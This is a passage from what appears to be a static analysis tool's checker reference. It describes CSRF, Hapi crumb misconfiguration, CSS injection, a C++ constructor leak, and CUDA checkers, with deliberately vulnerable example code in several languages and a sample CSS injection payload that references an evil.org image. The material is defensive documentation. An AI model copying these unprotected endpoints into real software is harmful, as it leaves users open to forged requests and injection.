- Ruby on Rails - The checker reports missing CSRF protection when `protect_from_forgery` is not called in controllers subclassed from `ApplicationController`. Additionally, controllers that do set `protect_from_forgery` but do not use the `with: :exception` option will be reported for having weak CSRF protection.

Disabled by default: CSRF is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

For Ruby, CSRF is enabled by default.

Web application security checker enablement: To enable CSRF along with other Web application checkers, use the `--webapp-security` option.

4.108.2. Defect Anatomy

A CSRF defect describes how an entry point modifies the server state of the Web application when that entry point is not secured by a CSRF protection scheme. The defect path first shows the entry point that is invoked to serve the vulnerable Web application request. From there, the events in the defect show the path from the entry point to an action that modifies the state of the Web application. This action could make modifications to the filesystem or update the database.

For .NET and Java, events will also provide information about existing CSRF protection schemes that could be used to secure the vulnerable entry point. The `example_csrf_check` event will provide an example from elsewhere in the code that shows how a validator method is used. The `insufficient_filtering` event indicates that an available CSRF filter does not cover the entry point that requires protection. A `no_protection_scheme` event indicates that the checker was not able to identify any CSRF protection in the entire application.

For Ruby on Rails, the checker reports missing CSRF protection when `protect_from_forgery` is not set in controllers subclassed from `ActionController::Base`. Additionally, controllers that do set `protect_from_forgery` but do not use the `with: :exception` option will report a `csrf_not_protected_by_raising_exception` event.

4.108.3. Examples

This section provides one or more CSRF examples.

4.108.3.1. Java

Custom filter does not protect URI mapping: A filter might have a URI mapping that does not cover a vulnerable entry point. In the following example, a `WEB-INF/web.xml` file in an emitted Web application (web-app) describes a servlet mapping to a URI that is outside of the pattern protected by the filter:

```
<servlet>
  <servlet-name>UpdatePasswordServlet< /servlet-name>
  <servlet-class>com.coverity.UpdatePasswordServlet </servlet-class>
</servlet>

<servlet-mapping>
  <servlet-name>UpdatePasswordServlet</servlet-name>
  <url-pattern>/update_password</url-pattern>
</servlet-mapping>

<filter>
  <filter-name>CSRFFilter</filter-name>
  <filter-class>com.coverity.CSRFFilter</filter-class>
</filter>

<filter-mapping>
  <filter-name>com.coverity.CSRFFilter</filter-name>
  <url-pattern>/safe/*</url-pattern>
</filter-mapping>
```

If the `UpdatePasswordServlet` servlet relies on user credentials and modifies the Web application state, a CSRF attacker might exploit those credentials. Here, the user password could be reset without the user's consent.

```
class UpdatePasswordServlet extends HttpServlet {
    private PasswordService passwordService;

    public void doPost(HttpServletRequest req, HttpServletResponse resp)
        throws ServletException, java.io.IOException
    {
        HttpSession sess = req.getSession();
        if (sess) {
            String user = (String)sess.getAttribute("user");
            String new_password = req.getParameter("new_password");

            passwordService.updatePassword(user, new_password);
        }
    }
}
```

Custom filter does not protect GET requests: A servlet filter might be implemented to protect only certain HTTP request methods (for example, POST). Exploitable entry points might continue to be accessible using other request methods.

In the following example, the custom servlet filter `MyCsrfFilter` is implemented to protect POST requests by validating the synchronizing token for the request.

```
class MyCsrfFilter implements javax.servlet.Filter {

    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain)
        throws ServletException, java.io.IOException
    {
        if (req instanceof HttpServletRequest) {
            HttpServletRequest hreq = (HttpServletRequest)req;

            // CSRF check
            if (hreq.getMethod().equals("POST")) {
                if (!validCSRFToken(hreq)) { throw new ServletException(); }
            }
        }

        chain.doFilter (req, resp);
    }

    // (other interface methods not shown)
}
```

Consider the following Spring MVC 3.0 entry point, `MyController.deleteAccount`. Assume that it is protected by an authorization check that is implemented as a servlet filter (not shown).

```
@Controller
class MyController {

    private AccountService accountService;

    @RequestMapping("/deleteAccount")
    public String deleteAccount(@RequestParam("user") String user)
    {
        accountService.deleteUser(user);
        return "successView.jsp";
    }
}
```

Even if `MyCsrfFilter` is mapped to cover the URI `/deleteAccount`, the controller is still vulnerable to a CSRF attack because it can be accessed with a GET request. (This is the default for Spring `@RequestMapping` annotations.)

Custom validator is missing: A call to a custom synchronizer token validator method can be missing for a vulnerable entry point. In the following example, the CSRF protection is implemented using an ad hoc validation scheme. The synchronizing token is checked using the method `CsrfService.validateToken`. The Apache Struts `UpdateProfileAction.execute` controller is protected, but the `AdminSettingsAction.execute` is not. (An administrator-level user is equally vulnerable to CSRF attacks, with potentially far more severe consequences.)

```
public class UpdateProfileAction extends org.apache.struts.action.Action {
```

```
private ProfileDao profileDao;
private CsrfService csrfService;

public ActionForward execute(ActionMapping mapping, ActionForm form,
                             HttpServletRequest request, HttpServletResponse
response)
    throws Exception
{
    // check CSRF token
    if (!csrfService.validateToken(request)) {
        return mapping.findForward("unauthorized");
    }

    // store new profile in the database
    profileDao.storeProfile((UpdateProfileForm)form);

    return mapping.findForward("success");
}

public class AdminSettingsAction extends org.apache.struts.action.Action {

    private AdminService adminService;

    public ActionForward execute(ActionMapping mapping, ActionForm form,
                                 HttpServletRequest request, HttpServletResponse
response)
        throws Exception
    {
        // store new settings in the database
        adminService.updateSettings((AdminSettingsForm)form);

        return mapping.findForward("success");
    }
}
```

Spring Security CSRF Filter: Spring Security offers CSRF protection in version 3.2 that by default only protects controllers that serve POST, PUT, or DELETE requests. In the Spring security XML context file shown below, the CSRF protection has been enabled.

```
<sec:http auto-config="true">
<sec:intercept-url pattern="/**" access="ROLE_USER" />
<sec:csrf />
</sec:http>
```

The following servlet method is not protected because it serves HTTP GET requests.

```
class BankServlet extends HttpServlet {

    public void doGet(HttpServletRequest req, HttpServletResponse resp)
        throws ServletException, java.io.IOException
```

```
{
  HttpSession sess = req.getSession();
  if (sess) {
    transferMoney((Long)sess.getAttribute("userid"),
                  (String)req.getParameter("amount"));
  }
}

private void transferMoney(Long userid, String amount) {
  // update user's financial record in database
}
}
```

OWASP csrf-guard Filter: OWASP csrf-guard tool can be configured to allow list certain URI access paths and certain HTTP request methods. These configurations are specified in its `Owasp.CsrfGuard.properties` file. In this example, the `org.owasp.csrfguard.CsrfGuardFilter` servlet filter has been mapped to all URIs, and the properties file contains the following configurations:

```
# Protected Methods
#
org.owasp.csrfguard.ProtectedMethods=POST,PUT,DELETE

# Unprotected Pages:
#
org.owasp.csrfguard.unprotected.Admin=/admin/*
```

Below, neither of the two Spring MVC 3.0 controller methods are protected. The following method, `UserController.updatePhone`, is vulnerable because it serves HTTP GET requests.

```
@Controller
class UserController {

  private UserService userService;

  @RequestMapping("/admin/set_priv", method = RequestMethod.POST)
  public void updatePhone(HttpServletRequest req,
                          @RequestParam("phone") String phone) {
    HttpSession sess = req.getSession();
    if (sess) {
      // update user's phone number...
      userService.setPhone(sess.getAttribute("user"), phone);
    }
  }
}
```

The next method, `AdminController.addUser`, is vulnerable because it is accessible through an allow listed URI.

```
@Controller
class AdminController {
```

```
private UserService userService;

@RequestMapping("/admin/set_priv", method = RequestMethod.POST)
public void addUser(HttpServletRequest req)
    throws AccessException
{
    HttpSession sess = req.getSession();
    if (sess) {
        // verify that the user's session has admin privledges
        Privledges p = (Privledges)sess.getAttribute("privledges");
        if (!p.hasAdmin()) {
            throw new AccessException("No admin privledges");
        }

        // update the database with a new user and password
        userService.addUser(req.getParameter("new_user"),
            req.getParameter("new_password"));

        return "newUserSuccess.jsp";
    }

    return "login.jsp";
}
```

4.108.3.2. C#

An ASP.NET MVC Controller: In the following example, there are two MVC controller methods. Both update the database and have side effects. The ASP.NET MVC `System.Web.Mvc.ValidateAntiForgeryTokenAttribute` authorization filter is protecting the `UpdateAppleCount` request handler, but `UpdateOrangeCount` remains vulnerable to cross-site request forgery attacks.

```
using System;
using System.Web;
using System.Web.Mvc;

namespace MyApp {

    public class MyController : Controller {

        FruitDatabase db;

        [ValidateAntiForgeryToken]
        public ActionResult UpdateAppleCount() {
            // Protected using MVC's
            // System.Web.Mvc.ValidateAntiForgeryTokenAttribute
            db.UpdateAppleInventory(Request);
            return View("success");
        }

        public ActionResult UpdateOrangeCount() {
            // Vulnerable to CSRF!
        }
    }
}
```

```

        db.UpdateOrangeInventory(Request);
        return View("success");
    }
}
}

```

4.108.3.3. JavaScript

An Express Node.js Web Application: The application starts with initial setup of the Express app object, mounting the "body-parser" middleware (to parse incoming request bodies) and the "cookie-parser" middleware (to parse the CSRF token).

```

var app = require('express')();
app.use(require('body-parser').urlencoded({ extended: false }));
app.use(require('cookie-parser')());

```

The application then sets up a listener for connections on port 3000 and establishes a MongoDB database connection.

```

var database;
var MongoClient = require("mongodb").MongoClient;
var Server = require('mongodb').Server;
app.listen(3000, function() {
    var mongoclient = new MongoClient(new Server("localhost",27017),
    {native_parser:true});
    database = mongoclient.db("myDatabase");
    console.log("Listening on post 3000.");
});

```

The application then sets up the csrf middleware and routes HTTP GET requests to the path "/form". In this HTTP GET request, the response includes 2 virtually identical `form` elements that serve POST requests. They differ in the paths where the data gets sent ("/processWithProtection" versus "/processNoProtection"). For each `form` element, the csrf middleware function `req.csrfToken()` generates a token whose value is added to the hidden form field "_csrf".

```

var csrfProtection = require('csrf')({ cookie: true });
app.get("/form", csrfProtection, function(req, res) {
    res.send(
        "<form action='/processWithProtection' method='POST'>" +
        "<input type='hidden' name='_csrf' value='" + req.csrfToken() + "'>" +
        "Remove Jack from database? " +
        "<button type='submit'>Remove</button>" +
        "</form>" +
        "<form action='/processNoProtection' method='POST'>" +
        "<input type='hidden' name='_csrf' value='" + req.csrfToken() + "'>" +
        "Remove Jill from database? " +
        "<button type='submit'>Remove</button>" +
        "</form>");
});

```

The application then registers 2 HTTP POST requests to handle the paths `/processWithProtection` and `/processNoProtection`. Both of the POST requests remove a user from the database. The POST request for the path `/processWithProtection` uses CSRF protection middleware (`csrf`), suppressing a CSRF defect from being reported. The POST request for the path `/processNoProtection` does not use the `csrf` middleware. Even though the token is provided to this POST request, not using the `csrf` middleware means the token will not be validated against the visitor's session or `csrf` cookie (depending on how the `csrf` middleware was set up). This results in a CSRF defect being reported for this entry point.

```
app.post('/processWithProtection', csrfProtection, function(req, res) {
    res.send("Jack removed from database.");
    database.removeUser("Jack");
});
```

```
app.post('/processNoProtection', function(req, res) {
    res.send("Jill removed from database.");
    database.removeUser("Jill");
});
```

For additional JavaScript examples using the `csrf_check_needed` and `csrf_validator` directives, see ["csrf_check_needed directive"](#) and ["csrf_validator directive"](#).

4.108.3.4. Python

```
from sqlalchemy import Table, create_engine, MetaData, create_engine, Column, String,
Integer
from flask import Flask
from flask_wtf.csrf import CSRFProtect

engine      = create_engine(db_location)
metadata    = MetaData()
fruit_tbl   = Table('fruit_count', metadata,
                    Column('id', Integer, primary_key=True),
                    Column('name', String),
                    Column('count', Integer)
                    )

metadata.create_all(engine)
connection = engine.connect()

def update_fruit_count(name, newCount):
    updObj = fruit_tbl.update().values(count=newCount).where(fruit_tbl.c.name == name)
    connection.execute(updObj)

fruit_tracker = Flask(__name__)

csrf = CSRFProtect()
csrf.init_app(fruit_tracker)

# Update orange count
@fruit_tracker.route('/orange_update/', method=('POST'))
@csrf.exempt
```

```
# Defect is reported here!
def orange_update():
    update_fruit_count('orange', request.form.get('count'))

if __name__ == '__main__':
    fruit_tracker.run()
```

4.108.3.5. Ruby

The following Ruby on Rails code shows a controller that does not call `protect_from_forgery` to add CSRF protection in the main application controller.

```
class ApplicationController < ActionController::Base
end
```

4.108.3.6. Visual Basic

A button in an ASP .NET Web Forms (ASPX) page invokes a server-side event handler that updates the server database when the button is clicked.

```
<asp:button runat="server" xml:id="MyButton" OnClick="OnActionHandler" />
```

If the event is handled on the server and the page life-cycle event handlers fail to check for the presence of a valid anti-forgery token, then the server will be vulnerable to a CSRF attack.

```
Imports System.Web.UI

' There is no anti-forgery token check here or in a MasterPage.
Class ShoppingPage
    Inherits System.Web.UI.Page

    ' CSRF defect is reported here!
    Sub OnActionHandler(sender as object, e as EventArgs)
        UpdateDatabase() ' executes a SQL update
    End Sub
End Class
```

4.108.4. Options

This section describes one or more `CSRF` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `CSRF:filter:<filter_class>` - This option lists fully-qualified class names of your CSRF filters. One or more values are permitted. Default is unset (C#, Java, Visual Basic). If this option is unspecified, a set of built-in heuristics will be used to automatically identify the filter classes; if the option is specified, these heuristics will be disabled.

In Java Web applications, servlet filter classes are mapped to request handlers through the URL mappings specified in the Web application's `web.xml` file.

In ASP.NET MVC applications, `FilterAttribute` classes are mapped to request handlers through attributes on the MVC Controller classes or methods.

- `CSRF:ignore_filters_for_http_method:<HTTP_request_methods>` - This option lists HTTP request methods for which CSRF defects will be reported, even if they are covered by a filter. One or more values are permitted. If the behavior of a filter is too complex, this option allows its method-specific coverage to be manually specified. The valid (case-insensitive) values are GET, POST, PUT, DELETE, HEAD, OPTIONS, TRACE, CONNECT. Default is unset (Java only).
 - `CSRF:suppress_for_http_method:<HTTP_request_methods>` - This option lists HTTP request methods for which CSRF defects will be suppressed. One or more values are permitted. If the filter cannot be detected or is too complex, this option allows its method-specific coverage to be manually specified. The valid (case-insensitive) values are GET, POST, PUT, DELETE, HEAD, OPTIONS, TRACE, CONNECT. Default is unset (Java only).
 - `CSRF:report_all_required_checks:<boolean>` - If this option is set to `true`, the checker will ignore any existing CSRF protection and report defects at all entry points that should be protected. Defaults to `CSRF:report_all_required_checks:false` (all languages)
 - `CSRF:report_database_updates:<boolean>` - If this option is set to `false`, the checker will not treat database updates as evidence that protection from CSRF is required and will not report defects on the updates. Defaults to `true`, meaning that the checker will report such updates as defects by default. Defaults to `CSRF:report_database_updates:true` (all languages)
 - `CSRF:report_filesystem_modification:<boolean>` - If this option is set to `true`, the checker will treat modifications to the filesystem as evidence that protection from CSRF is required and will report defects on the modifications. Defaults to `CSRF:report_filesystem_modification:false` (all languages)
- This checker option is automatically set to `true` if the `--webapp-security-aggressiveness-level` option of the **cov-analyze** command is set to `high`.
- `CSRF:report_unknown_urls:<boolean>` - If this option is set to `true`, the checker will report defects at entry points whose URI mapping could not be determined but where the URI is required to determine filter coverage. Defaults to `CSRF:report_unknown_urls:false` (Java only) When `false`, these entry points are ignored.
 - `CSRF:suppress_for_url:<URLs>` - This option lists URLs for which CSRF defects will be suppressed. One or more values are permitted. If the filter cannot be detected or is otherwise too complex, this option allows its URL coverage to be manually specified. Default is unset (Java only).
 - `CSRF:validator:<validator_methods>` - This option lists fully-qualified method names of your CSRF validator methods. The method can be specified with or without parameters and will be matched accordingly. Default is unset (C#, Java, Visual Basic). If the option is unspecified, a set of built-in heuristics will be used to automatically identify the validator method; if the option is specified, these heuristics will be disabled.

4.108.5. Customizing the checker

4.108.5.1. Identifying functions that require CSRF protection

You can help the CSRF checker identify methods that require CSRF protection with the following model primitives (for Java and .NET) and directive (for JavaScript). The database versus filesystem distinction (see below) affects the wording of event messages and whether the `report_database_updates` or `report_filesystem_modification` checker options affect the indicated functions; also, the CSRF checker prefers to report defects based on the database variations if both are present.

Java

Model primitives are in the `com.coverity.primitives.SecurityPrimitives` package. From the model for a function that requires a CSRF check, call `SecurityPrimitives.csrf_check_needed_for_db_update()`

.NET

Model primitives are in the `Coverity.Primitives.Security` namespace. From the model for a function that requires a CSRF check, call `Security.CSRFCheckNeededForDBUpdate()` to indicate that the function requires a CSRF check because it updates a database; call `CSRFCheckNeededForFileModification()` to indicate that it requires the check because it updates the filesystem.

JavaScript

Use the `csrf_check_needed` directive with the `csrf_check_needed` field set so as to identify calls to the function that requires a CSRF check. Set the `update_type` field to "database" to indicate that the matching function calls require a CSRF check because they update a database; set it to "filesystem" to indicate that they require the check because they update the filesystem. See "csrf_check_needed directive".

4.108.5.2. Identifying functions implement CSRF protection

The following .NET-only primitive identifies a method that validates an anti-forgery token and protects against CSRF attacks. Defects will be suppressed in any direct caller of the modelled method.

```
Coverity.Primitives.Security.CSRFValidator()
```

To create a Java model that suppresses defect reports, see Section 6.3.1.6, "Suppressing defect reports on a method".

For JavaScript, use the `csrf_validator` directive to identify a function that provides protection against CSRF attacks. See "csrf_validator directive".

4.109. CSRF_MISCONFIGURATION_HAPI_CRUMB

Security Checker

4.109.1. Overview

Supported Languages: JavaScript, TypeScript

`CSRF_MISCONFIGURATION_HAPI_CRUMB` finds issues related to the misconfiguration of the CSRF (cross-site request forgery) middleware `crumb` plugin used in `Hapi.js` applications:

- Setting CSRF token in a cookie (for double-submit CSRF protection) that does not have the `secure` flag set.
- Setting the name of the CSRF cookie incorrectly for the `Hapi.js` frameworks and the `crumb` plugin.
- Setting the size of the CSRF token too small (less than the default value of 43), which results in not having sufficient randomness in the token.
- Disabling the validation of the CSRF token, which results in the application being completely vulnerable to CSRF.

Disabled by default: `CSRF_MISCONFIGURATION_HAPI_CRUMB` is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

Web application security checker enablement: To enable `CSRF_MISCONFIGURATION_HAPI_CRUMB` along with other Web application checkers, use the `--webapp-security` option.

4.109.2. Examples

This section provides one or more `CSRF_MISCONFIGURATION_HAPI_CRUMB` examples.

In the following example, a `CSRF_MISCONFIGURATION_HAPI_CRUMB` defect is displayed for the `key` attribute set to `X-CSRF-Token` token in the options for the `crumb` module:

```
const Hapi = require('hapi');
const server = new Hapi.Server();

server.register([
  {
    register: require('crumb'),
    options: {
      cookieOptions: {
        isSecure: true
      },
      key: 'X-CSRF-Token' // CSRF_MISCONFIGURATION_HAPI_CRUMB defect
    }
  }
], function (err) {
  if (err) {
    throw err;
  }
});
```

4.110. CSS_INJECTION

Security Checker

4.110.1. Overview

Supported Languages: JavaScript, TypeScript

`CSS_INJECTION` reports a defect in client-side JavaScript code that employs a user-controllable string to read or modify the CSS of an element in the HTML document. With a carefully crafted string, an attacker might be able to steal user information such as CSRF tokens from the page, or to execute a cross-site scripting (XSS) attack.

Disabled by default: `CSS_INJECTION` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

Web application security checker enablement: To enable `CSS_INJECTION` along with other Web application checkers, use the `--webapp-security` option.

This is a tainted data checker. For more information, see Section 6.8, “Tainted Data Overview”.

4.110.2. Defect Anatomy

A `CSS_INJECTION` defect shows a dataflow path by which untrusted (tainted) data forms the CSS property of an HTML element (`htmlElement.style`). The defect can also form the name of a CSS property. The path starts at a source of untrusted data, such as reading a property of the URL that an attacker might control (for example, `window.location.hash`) or data from a different frame. From there, the events in the defect show how this tainted data flows through the program (for example, from the argument of a function call to the parameter of the called function). The final part of the path shows the data flowing into the style of an HTML element.

4.110.3. Examples

This section provides one or more `CSS_INJECTION` examples.

In the following example, the attacker can insert a payload to the color parameter in the URL.

```
function doColor() {
var userColor = decodeURI(location.hash.substring(1));
$("h1").css("cssText", "color: " + userColor)
}
window.onhashchange = doColor;
```

The following payload poses less of a threat, but it can be used to display an unwanted picture to the end-user.

```
"blue; background-image: url("www.evil.org/hacking.jpg")"
```

4.110.4. Options

This section describes one or more `CSS_INJECTION` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `CSS_INJECTION:distrust_all:<boolean>` - Setting this option to true is equivalent to setting all `trust_*` checker options for this checker to false. Defaults to `CSS_INJECTION:distrust_all:false`.

This checker option is automatically set to `true` if the `--webapp-security-aggressiveness-level` option of the **cov-analyze** command is set to `high`.

- `CSS_INJECTION:trust_js_client_cookie:<boolean>` - When this option is set to false, the analysis does not trust data from cookies in client-side JavaScript code, for example from `document.cookie`. This option was formerly called `trust_client_cookie`. Defaults to `CSS_INJECTION:trust_js_client_cookie:true`.
- `CSS_INJECTION:trust_js_client_external:<boolean>` - When this option is set to false, the analysis does not trust data from the response to an `XMLHttpRequest` or similar in client-side JavaScript code. Note: this option was formerly called `trust_external`. Defaults to `CSS_INJECTION:trust_js_client_external:false`.
- `CSS_INJECTION:trust_js_client_html_element:<boolean>` - When this option is set to false, the analysis does not trust data from user input on HTML elements such as `textarea` and `input` elements in client-side JavaScript code. Defaults to `CSS_INJECTION:trust_js_client_html_element:true`.
- `CSS_INJECTION:trust_js_client_http_header:<boolean>` - When this option is set to false, the analysis does not trust data from HTTP response headers on the response to an `XMLHttpRequest` or similar in client-side JavaScript code. Defaults to `CSS_INJECTION:trust_js_client_http_header:true`.
- `CSS_INJECTION:trust_js_client_http_referer:<boolean>` - When this option is set to false, the analysis does not trust data from the 'referrer' HTTP header (from `document.referrer`) in client-side JavaScript code. Defaults to `CSS_INJECTION:trust_js_client_http_referer:false`.
- `CSS_INJECTION:trust_js_client_other_origin:<boolean>` - When this option is set to false, the analysis does not trust data from content in another frame or from another origin, for instance from `window.name`, in client-side JavaScript code. Defaults to `CSS_INJECTION:trust_js_client_other_origin:false`.
- `CSS_INJECTION:trust_js_client_url_query_or_fragment:<boolean>` - When this option is set to false, the analysis does not trust data from the query or fragment part of the URL, for instance from `location.hash` or `location.query`, in client-side JavaScript code. Defaults to `CSS_INJECTION:trust_js_client_url_query_or_fragment:false`.
- `CSS_INJECTION:trust_mobile_other_app:<boolean>` - Setting this option to true causes the analysis to trust data that is received from any mobile application that does not require a permission to communicate with the current application component. Defaults to `CSS_INJECTION:trust_mobile_other_app:false`. Setting this checker option will override

the global `--trust-mobile-other-app` and `--distrust-mobile-other-app` command line options.

- `CSS_INJECTION:trust_mobile_other_privileged_app:<boolean>` - Setting this option to `false` causes the analysis to treat data as tainted when the data is received from any mobile application that requires a permission to communicate with the current application component. Defaults to `CSS_INJECTION:trust_mobile_other_privileged_app:true`. Setting this checker option will override the global `--trust-mobile-other-privileged-app` and `--distrust-mobile-other-privileged-app` command line options.
- `CSS_INJECTION:trust_mobile_same_app:<boolean>` - Setting this option to `false` causes the analysis to treat data received from the same mobile application as though it is tainted. Defaults to `CSS_INJECTION:trust_mobile_same_app:true`. Setting this checker option will override the global `--trust-mobile-same-app` and `--distrust-mobile-same-app` command line options.
- `CSS_INJECTION:trust_mobile_user_input:<boolean>` - Setting this option to `true` causes the analysis to treat data obtained from user input as though it is not tainted. Defaults to `CSS_INJECTION:trust_mobile_user_input:false`. Setting this checker option will override the global `--trust-mobile-user-input` and `--distrust-mobile-user-input` command line options.

4.111. CTOR_DTOR_LEAK

Quality Checker

4.111.1. Overview

Supported Languages: C++

`CTOR_DTOR_LEAK` finds many instances where a constructor allocates memory and stores a pointer to it in an object field but the destructor does not free the memory.

This checker and `RESOURCE_LEAK` catch a complementary set of memory leak defects.

To suppress a false positive, add a destructor statement that frees the field.

Enabled by default: `CTOR_DTOR_LEAK` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

4.111.2. Examples

This section provides one or more `CTOR_DTOR_LEAK` examples.

```
struct A {
    int *p;

    A()    { p = new int; }
    ~A()  { /*oops, leak*/ }
```

```
};
```

4.111.3. Events

This section describes one or more events produced by the `CTOR_DTOR_LEAK` checker.

- `alloc_fn`: Where memory is allocated.
- `var_assign`: Allocated memory is copied among local variables.
- `value_flow`: Allocated memory is copied by flowing through a function that returns one of its arguments.
- `ctor_dtor_leak`: Reports where allocated memory is assigned to a class field but not freed in the destructor.

4.112. CUDA.COLLECTIVE_WARP_SHUFFLE_WIDTH

Quality Checkers

4.112.1. Overview

Supported Languages: CUDA

The `CUDA.COLLECTIVE_WARP_SHUFFLE_WIDTH` checker looks for calls to collective shuffle operations (for example, `__shfl_sync`) and checks whether the calls are passed an incorrect `width` parameter. A `width` parameter to the collective shuffle operation is correct if it is a power of 2 and less than or equal to the warp size (which is currently 32 for all architectures).

The following are warp collective shuffle operations:

- `__shfl_sync`
- `__shfl_up_sync`
- `__shfl_down_sync`
- `__shfl_xor_sync`

Enabled by default: The `CUDA.COLLECTIVE_WARP_SHUFFLE_WIDTH` checker is enabled by default. If disabled, it can be re-enabled using the following options to the `cov-analyze` command `-en CUDA.COLLECTIVE_WARP_SHUFFLE_WIDTH` or `--all`.

4.112.2. Examples

This section provides one or more `CUDA.COLLECTIVE_WARP_SHUFFLE_WIDTH` examples.

In the following example, a defect is displayed because the width specified is not a power of 2.

```
__device__ void test(unsigned mask, int var, int srcLane)
```

```
{
    int badWidth = 30;
    __shfl_sync(mask, var, srcLane, badWidth); //defect
}
```

4.113. CUDA.CUDEVICE_HANDLES

Quality Checker

4.113.1. Overview

Supported Languages: CUDA

The `CUDA.CUDEVICE_HANDLES` checker looks for code treating integers as handles to internal CUDA driver device objects. CUdevice objects may be assigned integer values. There have been cases in which the CUDA driver interface has accepted CUdevice objects created by assigning an integer device ordinal to a CUdevice. But, this behavior might not persist and should not be relied on.

The `CUDA.CUDEVICE_HANDLES` checker is enabled by default.

4.113.2. Examples

This section provides one or more `CUDA.CUDEVICE_HANDLES` examples.

In the following example, a defect is displayed for the `cuCtxCreate()` call.

```
void example() {
    CUresult result;
    result = cuInit(0);
    assert(CUDA_SUCCESS == result);

    // Create a context to device 0.
    CUctx_st* context;
    result = cuCtxCreate(&context, 0, 0); // defect
    assert(CUDA_SUCCESS == result);
}
```

4.114. CUDA.DEVICE_DEPENDENT

Quality Checker

4.114.1. Overview

Supported Languages: CUDA

The `CUDA.DEVICE_DEPENDENT` checker looks for cases where before host program initialization or after host program termination, an inappropriate operation is performed, such as ODR-using a managed

storage duration object, launching CUDA kernels, or calling device-dependent CUDA runtime or driver interfaces. If a global variable of a class type exists, the constructor for this class will be called before complete host program initialization, and its destructor will be called after host program termination, and those operations in these functions can lead to undefined behavior.

Enabled by default: The `CUDA.DEVICE_DEPENDENT` checker is enabled by default.

4.114.2. Examples

This section provides one or more `CUDA.DEVICE_DEPENDENT` examples.

In constructor of class `C`, a kernel is launched. The checker finds a global object of this class, thus the kernel will be called before host program initialization is complete, which can lead to undefined behavior.

```
#include <cuda.h>

void assert(bool);

#define STR_MAX_LEN 64

class C {
    char *str;
public:
    C() {
        cudaError_t const retVal = cudaMalloc(&str, STR_MAX_LEN+1); //defect
        assert(retVal == cudaSuccess);
    }
};

C instance;
```

4.114.3. Events

This section describes one or more events produced by the `CUDA.DEVICE_DEPENDENT` checker.

The `CUDA.DEVICE_DEPENDENT` checker adds events inside the constructor or destructor function that is used to construct or destruct a global object. It will mark those lines that contain an ODR-use of managed storage duration object, a kernel launch, or the use of a device-dependent CUDA interface.

- `callback_function` - This event flags that the current function is a CUDA callback.
- `call_device_dependent_interface` - This event notes the device-dependent CUDA runtime or driver interface that has been called.
- `call_device_dependent_interface_indirectly` - This event marks a call to a function that calls CUDA device-dependent interface.
- `call_kernel_func` - This event marks a kernel launch.
- `call_kernel_func_indirectly` - This event marks a call to a function that launches a kernel.

- `use_managed_object` - This event marks the ODR-use of a managed storage duration object.
- `use_managed_object_indirectly` - This event marks a call to a function that ODR-uses a managed storage duration object.

4.115. CUDA.DEVICE_DEPENDENT_CALLBACKS

Quality Checker

4.115.1. Overview

Supported Languages: CUDA

The `CUDA.DEVICE_DEPENDENT_CALLBACKS` checker looks for the ODR-use of managed storage duration object, kernel launching and device-dependent CUDA interface usage within CUDA callbacks.

In callbacks that happen in stream order, those created via `cudaStreamAddCallback`, `cuStreamAddCallback`, `cudaLaunchHostFunc`, `cuLaunchHostFunc`, `cudaGraphAddHostNode`, or `cuGraphAddHostNode`, calling a CUDA operation within one of these callbacks might lead to a deadlock.

Enabled by default: The `CUDA.DEVICE_DEPENDENT_CALLBACKS` checker is enabled by default.

4.115.2. Examples

This section provides one or more `CUDA.DEVICE_DEPENDENT_CALLBACKS` examples.

In the following example, the defect is shown for the callback definition.

```
__managed__ int managedVar = 0;

void CUDART_CB callback(cudaStream_t stream, cudaError_t status, void *arg) {
    managedVar++; //#defect
}

void example(cudaStream_t stream) {
    cudaError_t err = cudaStreamAddCallback(stream, callback, NULL, 0);
    assert(cudaSuccess == err);
}
```

4.115.3. Events

This section describes one or more events produced by the `CUDA.DEVICE_DEPENDENT_CALLBACKS` checker.

The `CUDA.DEVICE_DEPENDENT_CALLBACKS` checker adds events inside the constructor or destructor function that is used to construct or destruct a global object. It will mark those lines that contain an ODR-

use of managed storage duration object, a kernel launch, or the use of a device-dependent CUDA interface.

- `callback_function` - This event flags that the current function is a CUDA callback.
- `call_device_dependent_interface` - This event notes the device-dependent CUDA runtime or driver interface that has been called.
- `call_device_dependent_interface_indirectly` - This event marks a call to a function that calls CUDA device-dependent interface..
- `call_kernel_func` - This event marks a kernel launch.
- `call_kernel_func_indirectly` - This event marks a call to a function that launches a kernel.
- `use_managed_object` - This event marks the ODR-use of a managed storage duration object.
- `use_managed_object_indirectly` - This event marks a call to a function that ODR-uses a managed storage duration object.

4.116. CUDA.DIVERGENCE_AT_COLLECTIVE_OPERATION

Quality Checker

4.116.1. Overview

Supported Languages: CUDA

The `CUDA.DIVERGENCE_AT_COLLECTIVE_OPERATION` checker flags a quality defect for CUDA. This defect occurs when a group of device threads participate in a device-thread-block or warp (pre Compute Capability 7.0) collective operation and not all participating device threads are converged, which might cause code execution to hang or which might produce unintended side effects. This happens when a collective operations has a control-flow dependency on the block or thread index.

The following are the device-thread-block collective operations supported by this checker (they result in defects with the `collective_block_participants_converged` subcategory).

- `__syncthreads`
- `__syncthreads_and`
- `__syncthreads_count`
- `__syncthreads_or`

The following are the warp collective operations supported by this checker (only applicable to pre Compute Capability 7.0, and they result in defects with the `collective_warp_converged` subcategory):

- `__all_sync`
- `__any_sync`
- `__ballot_sync`
- `__match_all_sync`
- `__match_any_sync`
- `__shfl_down_sync`
- `__shfl_sync`
- `__shfl_up_sync`
- `__shfl_xor_sync`
- `__syncwarp`

Enabled by default: The `CUDA.DIVERGENCE_AT_COLLECTIVE_OPERATION` checker is enabled by default. You can also enable it explicitly using `cov_analyze` with `-en CUDA.DIVERGENCE_AT_COLLECTIVE_OPERATION` or `--all`.

4.116.2. Examples

This section provides one or more `CUDA.DIVERGENCE_AT_COLLECTIVE_OPERATION` examples.

In the following example, a defect is shown for the call to `__syncthreads()`.

```
__global__ void times_negative_two(int* u) {
    auto const idx = blockIdx.x;
    if(idx % 2) {
        u[idx] = 2 * u[idx];
        __syncthreads(); // defect
        u[idx - 1] = 2 * u[idx - 1];
    } else {
        u[idx] = -1 * u[idx];
        __syncthreads();
